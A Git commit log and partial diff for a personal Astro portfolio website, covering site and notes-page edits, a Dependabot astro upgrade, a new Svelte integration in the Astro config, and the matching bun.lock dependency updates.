33 Commits

Author SHA1 Message Date
dependabot[bot] c521c7c7f9 Bump astro from 6.1.9 to 6.1.10
Bumps [astro](https://github.com/withastro/astro/tree/HEAD/packages/astro) from 6.1.9 to 6.1.10.
- [Release notes](https://github.com/withastro/astro/releases)
- [Changelog](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md)
- [Commits](https://github.com/withastro/astro/commits/astro@6.1.10/packages/astro)

---
updated-dependencies:
- dependency-name: astro
  dependency-version: 6.1.10
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-05-13 23:53:25 +00:00
Hadi 25fb5a4bf0 Fix TOC links
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-05-07 21:03:40 +02:00
Hadi d257a0f26e update repos
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-05-07 20:52:09 +02:00
Hadi 3dfbdcf970 New separators
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-05-07 20:51:46 +02:00
Hadi 930c3bf3bb Clean homepage
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-05-07 20:40:22 +02:00
Hadi a055640fa8 Edit hero & add Infosec Notes section
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-05-07 20:21:17 +02:00
Hadi 9c0bbc4b77 edit sidebars
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-05-07 20:16:01 +02:00
Hadi 7968c662f6 Edit sidebar
Signed-off-by: Hadi <hadi@example.com>
2026-05-04 17:03:05 +02:00
Hadi 99890dd1ef Add crt.sh
Signed-off-by: Hadi <hadi@example.com>
2026-05-04 16:03:15 +02:00
Hadi db42928299 Add Google cache & VirusTotal
Signed-off-by: Hadi <hadi@example.com>
2026-05-04 16:03:12 +02:00
Hadi 73b668b204 Change link-cards height
Signed-off-by: Hadi <hadi@example.com>
2026-05-04 15:19:20 +02:00
Hadi c314445219 Init RDP
Signed-off-by: Hadi <hadi@example.com>
2026-05-04 14:17:54 +02:00
Hadi b4b755b608 Init ssh
Signed-off-by: Hadi <hadi@example.com>
2026-05-04 14:15:59 +02:00
Hadi 3e60ae5a35 Change wordlists paths
Signed-off-by: Hadi <hadi@example.com>
2026-05-04 14:11:38 +02:00
Hadi 4f64ccf706 Init telnet
Signed-off-by: Hadi <hadi@example.com>
2026-05-04 14:11:03 +02:00
Hadi d6d410a2fa Add notes & card styling
Signed-off-by: Hadi <hadi@example.com>
2026-05-04 14:03:48 +02:00
Hadi a74f6b91d4 remove dead code and unify patterns
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-04-29 23:03:10 +02:00
Hadi 35ac328d5e Change links for error pages
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-04-29 19:40:30 +02:00
Hadi 5ad26be352 Change notes titles
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-04-29 19:38:36 +02:00
Hadi fac0a2fff6 edit tooltip
Signed-off-by: Hadi <hadi@example.com>
2026-04-29 16:41:19 +02:00
Hadi d2424e0a17 edit notes
Signed-off-by: Hadi <hadi@example.com>
2026-04-29 16:33:11 +02:00
Hadi 3b17b01d86 add disclaimer
Signed-off-by: Hadi <hadi@example.com>
2026-04-29 16:33:01 +02:00
Hadi 0e83788a15 Edit nav & add folder pages
Signed-off-by: Hadi <hadi@example.com>
2026-04-29 16:23:51 +02:00
Hadi eea8c3e9be Edit sidebar
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-04-28 21:49:57 +02:00
Hadi 761e8a20cb bun2nix
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-04-28 21:32:46 +02:00
Hadi 1025d5bfa1 Init svelte components
Signed-off-by: Hadi <hadi@example.com>
2026-04-28 16:57:15 +02:00
Hadi f00515e4c3 Testing on notes
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-04-27 23:12:57 +02:00
Hadi 5472ac3449 format
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-04-25 15:45:44 +02:00
Hadi e3f0fc5735 Notes edit and remove tests
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-04-25 00:07:18 +02:00
Hadi 294c4e3acd change notes sidebars behavior
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-04-24 23:53:02 +02:00
Hadi 97bdfd9a6e Keep the cat in the navbar !
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-04-24 23:20:58 +02:00
Hadi e332a5732b add author to blog posts
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-04-24 20:33:43 +02:00
Hadi 0a8c04fccb update
Signed-off-by: Hadi <112569860+anotherhadi@users.noreply.github.com>
2026-04-24 20:01:19 +02:00
54 changed files with 3381 additions and 2176 deletions
+2 -2
View File
@@ -3,8 +3,8 @@ import { defineConfig } from 'astro/config';
import tailwindcss from '@tailwindcss/vite'; import tailwindcss from '@tailwindcss/vite';
import mdx from '@astrojs/mdx'; import mdx from '@astrojs/mdx';
import sitemap from '@astrojs/sitemap'; import sitemap from '@astrojs/sitemap';
import svelte from '@astrojs/svelte';
// https://astro.build/config // https://astro.build/config
export default defineConfig({ export default defineConfig({
@@ -13,7 +13,7 @@ export default defineConfig({
}, },
site: "https://hadi.icu", site: "https://hadi.icu",
output: 'static', output: 'static',
integrations: [mdx(), sitemap()], integrations: [mdx(), sitemap(), svelte()],
vite: { vite: {
plugins: [tailwindcss()] plugins: [tailwindcss()]
}, },
+122 -159
View File
@@ -5,16 +5,17 @@
"": { "": {
"name": "bloomfolio", "name": "bloomfolio",
"dependencies": { "dependencies": {
"@astrojs/mdx": "^4.3.14", "@astrojs/mdx": "5.0.4",
"@astrojs/rss": "^4.0.18", "@astrojs/rss": "^4.0.18",
"@astrojs/sitemap": "^3.7.2", "@astrojs/sitemap": "^3.7.2",
"@astrojs/svelte": "^8.1.0",
"@lucide/astro": "^0.552.0", "@lucide/astro": "^0.552.0",
"@tailwindcss/vite": "^4.2.4", "@tailwindcss/vite": "^4.2.4",
"@types/bun": "^1.3.13", "@types/bun": "^1.3.13",
"astro": "^5.18.1", "astro": "6.1.9",
"daisyui": "^5.5.19", "daisyui": "^5.5.19",
"lucide-astro": "^0.556.0",
"node-html-parser": "^7.1.0", "node-html-parser": "^7.1.0",
"svelte": "^5.55.5",
"tailwindcss": "^4.2.4", "tailwindcss": "^4.2.4",
}, },
"devDependencies": { "devDependencies": {
@@ -26,23 +27,25 @@
"packages": { "packages": {
"@astrojs/check": ["@astrojs/check@0.9.8", "", { "dependencies": { "@astrojs/language-server": "^2.16.5", "chokidar": "^4.0.3", "kleur": "^4.1.5", "yargs": "^17.7.2" }, "peerDependencies": { "typescript": "^5.0.0" }, "bin": { "astro-check": "bin/astro-check.js" } }, "sha512-LDng8446QLS5ToKjRHd3bgUdirvemVVExV7nRyJfW2wV36xuv7vDxwy5NWN9zqeSEDgg0Tv84sP+T3yEq+Zlkw=="], "@astrojs/check": ["@astrojs/check@0.9.8", "", { "dependencies": { "@astrojs/language-server": "^2.16.5", "chokidar": "^4.0.3", "kleur": "^4.1.5", "yargs": "^17.7.2" }, "peerDependencies": { "typescript": "^5.0.0" }, "bin": { "astro-check": "bin/astro-check.js" } }, "sha512-LDng8446QLS5ToKjRHd3bgUdirvemVVExV7nRyJfW2wV36xuv7vDxwy5NWN9zqeSEDgg0Tv84sP+T3yEq+Zlkw=="],
"@astrojs/compiler": ["@astrojs/compiler@2.13.0", "", {}, "sha512-mqVORhUJViA28fwHYaWmsXSzLO9osbdZ5ImUfxBarqsYdMlPbqAqGJCxsNzvppp1BEzc1mJNjOVvQqeDN8Vspw=="], "@astrojs/compiler": ["@astrojs/compiler@3.0.1", "", {}, "sha512-z97oYbdebO5aoWzuJ/8q5hLK232+17KcLZ7cJ8BCWk6+qNzVxn/gftC0KzMBUTD8WAaBkPpNSQK6PXLnNrZ0CA=="],
"@astrojs/internal-helpers": ["@astrojs/internal-helpers@0.7.6", "", {}, "sha512-GOle7smBWKfMSP8osUIGOlB5kaHdQLV3foCsf+5Q9Wsuu+C6Fs3Ez/ttXmhjZ1HkSgsogcM1RXSjjOVieHq16Q=="], "@astrojs/internal-helpers": ["@astrojs/internal-helpers@0.9.0", "", { "dependencies": { "picomatch": "^4.0.4" } }, "sha512-GdYkzR26re8izmyYlBqf4z2s7zNngmWLFuxw0UKiPNqHraZGS6GKWIwSHgS22RDlu2ePFJ8bzmpBcUszut/SDg=="],
"@astrojs/language-server": ["@astrojs/language-server@2.16.6", "", { "dependencies": { "@astrojs/compiler": "^2.13.1", "@astrojs/yaml2ts": "^0.2.3", "@jridgewell/sourcemap-codec": "^1.5.5", "@volar/kit": "~2.4.28", "@volar/language-core": "~2.4.28", "@volar/language-server": "~2.4.28", "@volar/language-service": "~2.4.28", "muggle-string": "^0.4.1", "tinyglobby": "^0.2.15", "volar-service-css": "0.0.70", "volar-service-emmet": "0.0.70", "volar-service-html": "0.0.70", "volar-service-prettier": "0.0.70", "volar-service-typescript": "0.0.70", "volar-service-typescript-twoslash-queries": "0.0.70", "volar-service-yaml": "0.0.70", "vscode-html-languageservice": "^5.6.2", "vscode-uri": "^3.1.0" }, "peerDependencies": { "prettier": "^3.0.0", "prettier-plugin-astro": ">=0.11.0" }, "optionalPeers": ["prettier", "prettier-plugin-astro"], "bin": { "astro-ls": "bin/nodeServer.js" } }, "sha512-N990lu+HSFiG57owR0XBkr02BYMgiLCshLf+4QG4v6jjSWkBeQGnzqi+E1L08xFPPJ7eEeXnxPXGLaVv5pa4Ug=="], "@astrojs/language-server": ["@astrojs/language-server@2.16.6", "", { "dependencies": { "@astrojs/compiler": "^2.13.1", "@astrojs/yaml2ts": "^0.2.3", "@jridgewell/sourcemap-codec": "^1.5.5", "@volar/kit": "~2.4.28", "@volar/language-core": "~2.4.28", "@volar/language-server": "~2.4.28", "@volar/language-service": "~2.4.28", "muggle-string": "^0.4.1", "tinyglobby": "^0.2.15", "volar-service-css": "0.0.70", "volar-service-emmet": "0.0.70", "volar-service-html": "0.0.70", "volar-service-prettier": "0.0.70", "volar-service-typescript": "0.0.70", "volar-service-typescript-twoslash-queries": "0.0.70", "volar-service-yaml": "0.0.70", "vscode-html-languageservice": "^5.6.2", "vscode-uri": "^3.1.0" }, "peerDependencies": { "prettier": "^3.0.0", "prettier-plugin-astro": ">=0.11.0" }, "optionalPeers": ["prettier", "prettier-plugin-astro"], "bin": { "astro-ls": "bin/nodeServer.js" } }, "sha512-N990lu+HSFiG57owR0XBkr02BYMgiLCshLf+4QG4v6jjSWkBeQGnzqi+E1L08xFPPJ7eEeXnxPXGLaVv5pa4Ug=="],
"@astrojs/markdown-remark": ["@astrojs/markdown-remark@6.3.11", "", { "dependencies": { "@astrojs/internal-helpers": "0.7.6", "@astrojs/prism": "3.3.0", "github-slugger": "^2.0.0", "hast-util-from-html": "^2.0.3", "hast-util-to-text": "^4.0.2", "import-meta-resolve": "^4.2.0", "js-yaml": "^4.1.1", "mdast-util-definitions": "^6.0.0", "rehype-raw": "^7.0.0", "rehype-stringify": "^10.0.1", "remark-gfm": "^4.0.1", "remark-parse": "^11.0.0", "remark-rehype": "^11.1.2", "remark-smartypants": "^3.0.2", "shiki": "^3.21.0", "smol-toml": "^1.6.0", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.0.0", "unist-util-visit-parents": "^6.0.2", "vfile": "^6.0.3" } }, "sha512-hcaxX/5aC6lQgHeGh1i+aauvSwIT6cfyFjKWvExYSxUhZZBBdvCliOtu06gbQyhbe0pGJNoNmqNlQZ5zYUuIyQ=="], "@astrojs/markdown-remark": ["@astrojs/markdown-remark@7.1.1", "", { "dependencies": { "@astrojs/internal-helpers": "0.9.0", "@astrojs/prism": "4.0.1", "github-slugger": "^2.0.0", "hast-util-from-html": "^2.0.3", "hast-util-to-text": "^4.0.2", "js-yaml": "^4.1.1", "mdast-util-definitions": "^6.0.0", "rehype-raw": "^7.0.0", "rehype-stringify": "^10.0.1", "remark-gfm": "^4.0.1", "remark-parse": "^11.0.0", "remark-rehype": "^11.1.2", "remark-smartypants": "^3.0.2", "retext-smartypants": "^6.2.0", "shiki": "^4.0.0", "smol-toml": "^1.6.0", "unified": "^11.0.5", "unist-util-remove-position": "^5.0.0", "unist-util-visit": "^5.1.0", "unist-util-visit-parents": "^6.0.2", "vfile": "^6.0.3" } }, "sha512-C6e9BnLGlbdv6bV8MYGeHpHxsUHrCrB4OuRLqi5LI7oiBVcBcqfUN06zpwFQdHgV48QCCrMmLpyqBr7VqC+swA=="],
"@astrojs/mdx": ["@astrojs/mdx@4.3.14", "", { "dependencies": { "@astrojs/markdown-remark": "6.3.11", "@mdx-js/mdx": "^3.1.1", "acorn": "^8.15.0", "es-module-lexer": "^1.7.0", "estree-util-visit": "^2.0.0", "hast-util-to-html": "^9.0.5", "piccolore": "^0.1.3", "rehype-raw": "^7.0.0", "remark-gfm": "^4.0.1", "remark-smartypants": "^3.0.2", "source-map": "^0.7.6", "unist-util-visit": "^5.0.0", "vfile": "^6.0.3" }, "peerDependencies": { "astro": "^5.0.0" } }, "sha512-FBrqJQORVm+rkRa2TS5CjU9PBA6hkhrwLVBSS9A77gN2+iehvjq1w6yya/d0YKC7osiVorKkr3Qd9wNbl0ZkGA=="], "@astrojs/mdx": ["@astrojs/mdx@5.0.4", "", { "dependencies": { "@astrojs/markdown-remark": "7.1.1", "@mdx-js/mdx": "^3.1.1", "acorn": "^8.16.0", "es-module-lexer": "^2.0.0", "estree-util-visit": "^2.0.0", "hast-util-to-html": "^9.0.5", "piccolore": "^0.1.3", "rehype-raw": "^7.0.0", "remark-gfm": "^4.0.1", "remark-smartypants": "^3.0.2", "source-map": "^0.7.6", "unist-util-visit": "^5.1.0", "vfile": "^6.0.3" }, "peerDependencies": { "astro": "^6.0.0" } }, "sha512-tSbuuYueNODiFAFaME7pjHY5lOLoxBYJi1cKd6scw9+a4ZO7C7UGdafEoVAQvOV2eO8a6RaHSAJYGVPL1w8BPA=="],
"@astrojs/prism": ["@astrojs/prism@3.3.0", "", { "dependencies": { "prismjs": "^1.30.0" } }, "sha512-q8VwfU/fDZNoDOf+r7jUnMC2//H2l0TuQ6FkGJL8vD8nw/q5KiL3DS1KKBI3QhI9UQhpJ5dc7AtqfbXWuOgLCQ=="], "@astrojs/prism": ["@astrojs/prism@4.0.1", "", { "dependencies": { "prismjs": "^1.30.0" } }, "sha512-nksZQVjlferuWzhPsBpQ1JE5XuKAf1id1/9Hj4a9KG4+ofrlzxUUwX4YGQF/SuDiuiGKEnzopGOt38F3AnVWsQ=="],
"@astrojs/rss": ["@astrojs/rss@4.0.18", "", { "dependencies": { "fast-xml-parser": "^5.5.7", "piccolore": "^0.1.3", "zod": "^4.3.6" } }, "sha512-wc5DwKlbTEdgVAWnHy8krFTeQ42t1v/DJqeq5HtulYK3FYHE4krtRGjoyhS3eXXgfdV6Raoz2RU3wrMTFAitRg=="], "@astrojs/rss": ["@astrojs/rss@4.0.18", "", { "dependencies": { "fast-xml-parser": "^5.5.7", "piccolore": "^0.1.3", "zod": "^4.3.6" } }, "sha512-wc5DwKlbTEdgVAWnHy8krFTeQ42t1v/DJqeq5HtulYK3FYHE4krtRGjoyhS3eXXgfdV6Raoz2RU3wrMTFAitRg=="],
"@astrojs/sitemap": ["@astrojs/sitemap@3.7.2", "", { "dependencies": { "sitemap": "^9.0.0", "stream-replace-string": "^2.0.0", "zod": "^4.3.6" } }, "sha512-PqkzkcZTb5ICiyIR8VoKbIAP/laNRXi5tw616N1Ckk+40oNB8Can1AzVV56lrbC5GKSZFCyJYUVYqVivMisvpA=="], "@astrojs/sitemap": ["@astrojs/sitemap@3.7.2", "", { "dependencies": { "sitemap": "^9.0.0", "stream-replace-string": "^2.0.0", "zod": "^4.3.6" } }, "sha512-PqkzkcZTb5ICiyIR8VoKbIAP/laNRXi5tw616N1Ckk+40oNB8Can1AzVV56lrbC5GKSZFCyJYUVYqVivMisvpA=="],
"@astrojs/telemetry": ["@astrojs/telemetry@3.3.0", "", { "dependencies": { "ci-info": "^4.2.0", "debug": "^4.4.0", "dlv": "^1.1.3", "dset": "^3.1.4", "is-docker": "^3.0.0", "is-wsl": "^3.1.0", "which-pm-runs": "^1.1.0" } }, "sha512-UFBgfeldP06qu6khs/yY+q1cDAaArM2/7AEIqQ9Cuvf7B1hNLq0xDrZkct+QoIGyjq56y8IaE2I3CTvG99mlhQ=="], "@astrojs/svelte": ["@astrojs/svelte@8.1.0", "", { "dependencies": { "@sveltejs/vite-plugin-svelte": "^6.2.4", "svelte2tsx": "^0.7.52", "vite": "^7.3.2", "vitefu": "^1.1.2" }, "peerDependencies": { "astro": "^6.0.0", "svelte": "^5.43.6", "typescript": "^5.3.3" } }, "sha512-yZrHRFOxDJeo2hr9rGAMou6/6OL3agEaUCvWNWrea8YhZultsERTYZthfKNC58onAtZs76xNklOYV+G2Dp10kw=="],
"@astrojs/telemetry": ["@astrojs/telemetry@3.3.1", "", { "dependencies": { "ci-info": "^4.4.0", "dlv": "^1.1.3", "dset": "^3.1.4", "is-docker": "^4.0.0", "is-wsl": "^3.1.1", "which-pm-runs": "^1.1.0" } }, "sha512-7fcIxXS9J4ls5tr8b3ww9rbAIz2+HrhNJYZdkAhhB4za/I5IZ/60g+Bs8q7zwG0tOIZfNB4JWhVJ1Qkl/OrNCw=="],
"@astrojs/yaml2ts": ["@astrojs/yaml2ts@0.2.3", "", { "dependencies": { "yaml": "^2.8.2" } }, "sha512-PJzRmgQzUxI2uwpdX2lXSHtP4G8ocp24/t+bZyf5Fy0SZLSF9f9KXZoMlFM/XCGue+B0nH/2IZ7FpBYQATBsCg=="], "@astrojs/yaml2ts": ["@astrojs/yaml2ts@0.2.3", "", { "dependencies": { "yaml": "^2.8.2" } }, "sha512-PJzRmgQzUxI2uwpdX2lXSHtP4G8ocp24/t+bZyf5Fy0SZLSF9f9KXZoMlFM/XCGue+B0nH/2IZ7FpBYQATBsCg=="],
@@ -50,12 +53,16 @@
"@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], "@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="],
"@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": "./bin/babel-parser.js" }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="], "@babel/parser": ["@babel/parser@7.29.2", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA=="],
"@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="], "@babel/types": ["@babel/types@7.29.0", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A=="],
"@capsizecss/unpack": ["@capsizecss/unpack@4.0.0", "", { "dependencies": { "fontkitten": "^1.0.0" } }, "sha512-VERIM64vtTP1C4mxQ5thVT9fK0apjPFobqybMtA1UdUujWka24ERHbRHFGmpbbhp73MhV+KSsHQH9C6uOTdEQA=="], "@capsizecss/unpack": ["@capsizecss/unpack@4.0.0", "", { "dependencies": { "fontkitten": "^1.0.0" } }, "sha512-VERIM64vtTP1C4mxQ5thVT9fK0apjPFobqybMtA1UdUujWka24ERHbRHFGmpbbhp73MhV+KSsHQH9C6uOTdEQA=="],
"@clack/core": ["@clack/core@1.2.0", "", { "dependencies": { "fast-wrap-ansi": "^0.1.3", "sisteransi": "^1.0.5" } }, "sha512-qfxof/3T3t9DPU/Rj3OmcFyZInceqj/NVtO9rwIuJqCUgh32gwPjpFQQp/ben07qKlhpwq7GzfWpST4qdJ5Drg=="],
"@clack/prompts": ["@clack/prompts@1.2.0", "", { "dependencies": { "@clack/core": "1.2.0", "fast-string-width": "^1.1.0", "fast-wrap-ansi": "^0.1.3", "sisteransi": "^1.0.5" } }, "sha512-4jmztR9fMqPMjz6H/UZXj0zEmE43ha1euENwkckKKel4XpSfokExPo5AiVStdHSAlHekz4d0CA/r45Ok1E4D3w=="],
"@emmetio/abbreviation": ["@emmetio/abbreviation@2.3.3", "", { "dependencies": { "@emmetio/scanner": "^1.0.4" } }, "sha512-mgv58UrU3rh4YgbE/TzgLQwJ3pFsHHhCLqY20aJq+9comytTXUDNGG/SMtSeMJdkpxgXSXunBGLD8Boka3JyVA=="], "@emmetio/abbreviation": ["@emmetio/abbreviation@2.3.3", "", { "dependencies": { "@emmetio/scanner": "^1.0.4" } }, "sha512-mgv58UrU3rh4YgbE/TzgLQwJ3pFsHHhCLqY20aJq+9comytTXUDNGG/SMtSeMJdkpxgXSXunBGLD8Boka3JyVA=="],
"@emmetio/css-abbreviation": ["@emmetio/css-abbreviation@2.1.8", "", { "dependencies": { "@emmetio/scanner": "^1.0.4" } }, "sha512-s9yjhJ6saOO/uk1V74eifykk2CBYi01STTK3WlXWGOepyKa23ymJ053+DNQjpFcy1ingpaO7AxCcwLvHFY9tuw=="], "@emmetio/css-abbreviation": ["@emmetio/css-abbreviation@2.1.8", "", { "dependencies": { "@emmetio/scanner": "^1.0.4" } }, "sha512-s9yjhJ6saOO/uk1V74eifykk2CBYi01STTK3WlXWGOepyKa23ymJ053+DNQjpFcy1ingpaO7AxCcwLvHFY9tuw=="],
@@ -236,20 +243,28 @@
"@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.54.0", "", { "os": "win32", "cpu": "x64" }, "sha512-hYT5d3YNdSh3mbCU1gwQyPgQd3T2ne0A3KG8KSBdav5TiBg6eInVmV+TeR5uHufiIgSFg0XsOWGW5/RhNcSvPg=="], "@rollup/rollup-win32-x64-msvc": ["@rollup/rollup-win32-x64-msvc@4.54.0", "", { "os": "win32", "cpu": "x64" }, "sha512-hYT5d3YNdSh3mbCU1gwQyPgQd3T2ne0A3KG8KSBdav5TiBg6eInVmV+TeR5uHufiIgSFg0XsOWGW5/RhNcSvPg=="],
"@shikijs/core": ["@shikijs/core@3.23.0", "", { "dependencies": { "@shikijs/types": "3.23.0", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4", "hast-util-to-html": "^9.0.5" } }, "sha512-NSWQz0riNb67xthdm5br6lAkvpDJRTgB36fxlo37ZzM2yq0PQFFzbd8psqC2XMPgCzo1fW6cVi18+ArJ44wqgA=="], "@shikijs/core": ["@shikijs/core@4.0.2", "", { "dependencies": { "@shikijs/primitive": "4.0.2", "@shikijs/types": "4.0.2", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4", "hast-util-to-html": "^9.0.5" } }, "sha512-hxT0YF4ExEqB8G/qFdtJvpmHXBYJ2lWW7qTHDarVkIudPFE6iCIrqdgWxGn5s+ppkGXI0aEGlibI0PAyzP3zlw=="],
"@shikijs/engine-javascript": ["@shikijs/engine-javascript@3.23.0", "", { "dependencies": { "@shikijs/types": "3.23.0", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.4" } }, "sha512-aHt9eiGFobmWR5uqJUViySI1bHMqrAgamWE1TYSUoftkAeCCAiGawPMwM+VCadylQtF4V3VNOZ5LmfItH5f3yA=="], "@shikijs/engine-javascript": ["@shikijs/engine-javascript@4.0.2", "", { "dependencies": { "@shikijs/types": "4.0.2", "@shikijs/vscode-textmate": "^10.0.2", "oniguruma-to-es": "^4.3.4" } }, "sha512-7PW0Nm49DcoUIQEXlJhNNBHyoGMjalRETTCcjMqEaMoJRLljy1Bi/EGV3/qLBgLKQejdspiiYuHGQW6dX94Nag=="],
"@shikijs/engine-oniguruma": ["@shikijs/engine-oniguruma@3.23.0", "", { "dependencies": { "@shikijs/types": "3.23.0", "@shikijs/vscode-textmate": "^10.0.2" } }, "sha512-1nWINwKXxKKLqPibT5f4pAFLej9oZzQTsby8942OTlsJzOBZ0MWKiwzMsd+jhzu8YPCHAswGnnN1YtQfirL35g=="], "@shikijs/engine-oniguruma": ["@shikijs/engine-oniguruma@4.0.2", "", { "dependencies": { "@shikijs/types": "4.0.2", "@shikijs/vscode-textmate": "^10.0.2" } }, "sha512-UpCB9Y2sUKlS9z8juFSKz7ZtysmeXCgnRF0dlhXBkmQnek7lAToPte8DkxmEYGNTMii72zU/lyXiCB6StuZeJg=="],
"@shikijs/langs": ["@shikijs/langs@3.23.0", "", { "dependencies": { "@shikijs/types": "3.23.0" } }, "sha512-2Ep4W3Re5aB1/62RSYQInK9mM3HsLeB91cHqznAJMuylqjzNVAVCMnNWRHFtcNHXsoNRayP9z1qj4Sq3nMqYXg=="], "@shikijs/langs": ["@shikijs/langs@4.0.2", "", { "dependencies": { "@shikijs/types": "4.0.2" } }, "sha512-KaXby5dvoeuZzN0rYQiPMjFoUrz4hgwIE+D6Du9owcHcl6/g16/yT5BQxSW5cGt2MZBz6Hl0YuRqf12omRfUUg=="],
"@shikijs/themes": ["@shikijs/themes@3.23.0", "", { "dependencies": { "@shikijs/types": "3.23.0" } }, "sha512-5qySYa1ZgAT18HR/ypENL9cUSGOeI2x+4IvYJu4JgVJdizn6kG4ia5Q1jDEOi7gTbN4RbuYtmHh0W3eccOrjMA=="], "@shikijs/primitive": ["@shikijs/primitive@4.0.2", "", { "dependencies": { "@shikijs/types": "4.0.2", "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-M6UMPrSa3fN5ayeJwFVl9qWofl273wtK1VG8ySDZ1mQBfhCpdd8nEx7nPZ/tk7k+TYcpqBZzj/AnwxT9lO+HJw=="],
"@shikijs/types": ["@shikijs/types@3.23.0", "", { "dependencies": { "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-3JZ5HXOZfYjsYSk0yPwBrkupyYSLpAE26Qc0HLghhZNGTZg/SKxXIIgoxOpmmeQP0RRSDJTk1/vPfw9tbw+jSQ=="], "@shikijs/themes": ["@shikijs/themes@4.0.2", "", { "dependencies": { "@shikijs/types": "4.0.2" } }, "sha512-mjCafwt8lJJaVSsQvNVrJumbnnj1RI8jbUKrPKgE6E3OvQKxnuRoBaYC51H4IGHePsGN/QtALglWBU7DoKDFnA=="],
"@shikijs/types": ["@shikijs/types@4.0.2", "", { "dependencies": { "@shikijs/vscode-textmate": "^10.0.2", "@types/hast": "^3.0.4" } }, "sha512-qzbeRooUTPnLE+sHD/Z8DStmaDgnbbc/pMrU203950aRqjX/6AFHeDYT+j00y2lPdz0ywJKx7o/7qnqTivtlXg=="],
"@shikijs/vscode-textmate": ["@shikijs/vscode-textmate@10.0.2", "", {}, "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg=="], "@shikijs/vscode-textmate": ["@shikijs/vscode-textmate@10.0.2", "", {}, "sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg=="],
"@sveltejs/acorn-typescript": ["@sveltejs/acorn-typescript@1.0.9", "", { "peerDependencies": { "acorn": "^8.9.0" } }, "sha512-lVJX6qEgs/4DOcRTpo56tmKzVPtoWAaVbL4hfO7t7NVwl9AAXzQR6cihesW1BmNMPl+bK6dreu2sOKBP2Q9CIA=="],
"@sveltejs/vite-plugin-svelte": ["@sveltejs/vite-plugin-svelte@6.2.4", "", { "dependencies": { "@sveltejs/vite-plugin-svelte-inspector": "^5.0.0", "deepmerge": "^4.3.1", "magic-string": "^0.30.21", "obug": "^2.1.0", "vitefu": "^1.1.1" }, "peerDependencies": { "svelte": "^5.0.0", "vite": "^6.3.0 || ^7.0.0" } }, "sha512-ou/d51QSdTyN26D7h6dSpusAKaZkAiGM55/AKYi+9AGZw7q85hElbjK3kEyzXHhLSnRISHOYzVge6x0jRZ7DXA=="],
"@sveltejs/vite-plugin-svelte-inspector": ["@sveltejs/vite-plugin-svelte-inspector@5.0.2", "", { "dependencies": { "obug": "^2.1.0" }, "peerDependencies": { "@sveltejs/vite-plugin-svelte": "^6.0.0-next.0", "svelte": "^5.0.0", "vite": "^6.3.0 || ^7.0.0" } }, "sha512-TZzRTcEtZffICSAoZGkPSl6Etsj2torOVrx6Uw0KpXxrec9Gg6jFWQ60Q3+LmNGfZSxHRCZL7vXVZIWmuV50Ig=="],
